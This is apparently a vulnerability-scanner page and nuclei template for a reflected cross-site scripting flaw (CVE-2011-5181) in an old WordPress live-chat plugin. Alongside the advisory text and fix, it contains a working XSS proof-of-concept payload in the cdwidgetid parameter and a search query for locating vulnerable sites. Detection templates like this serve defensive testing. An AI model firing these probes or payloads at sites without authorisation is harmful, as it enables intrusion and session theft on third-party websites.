ClickDesk Live Support Live Chat 2.0 - Cross-Site Scripting

mediumseverity

4.3CVSS score

10.4%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

A cross-site scripting vulnerability in clickdesk.php in ClickDesk Live Support - Live Chat plugin 2.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the cdwidgetid parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the ClickDesk Live Support Live Chat plugin to mitigate the XSS vulnerability.

How to confirm it

Send: GET /wp-content/plugins/clickdesk-live-support-chat/readme.txt
Positive when: contains "ClickDesk Live Support - Live Chat"
Send: GET {{BaseURL}}/wp-content/plugins/clickdesk-live-support-chat/clickdesk.php?cdwidgetid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2011-5181 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2011-5181

info:
  name: ClickDesk Live Support Live Chat 2.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in clickdesk.php in ClickDesk Live Support - Live Chat plugin 2.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the cdwidgetid parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the ClickDesk Live Support Live Chat plugin to mitigate the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2011-5181
    - http://wordpress.org/extend/plugins/clickdesk-live-support-chat-plugin/changelog/
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/71469
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2011-5181
    cwe-id: CWE-79
    epss-score: 0.10428
    epss-percentile: 0.95774
    cpe: cpe:2.3:a:clickdesk:clickdesk_live_support-live_chat_plugin:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: clickdesk
    product: "clickdesk_live_support-live_chat_plugin"
    google-query: "inurl:\"/wp-content/plugins/clickdesk-live-support-chat/\""
  tags: cve2011,cve,wordpress,xss,wp-plugin,clickdesk,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/clickdesk-live-support-chat/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'ClickDesk Live Support - Live Chat'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/clickdesk-live-support-chat/clickdesk.php?cdwidgetid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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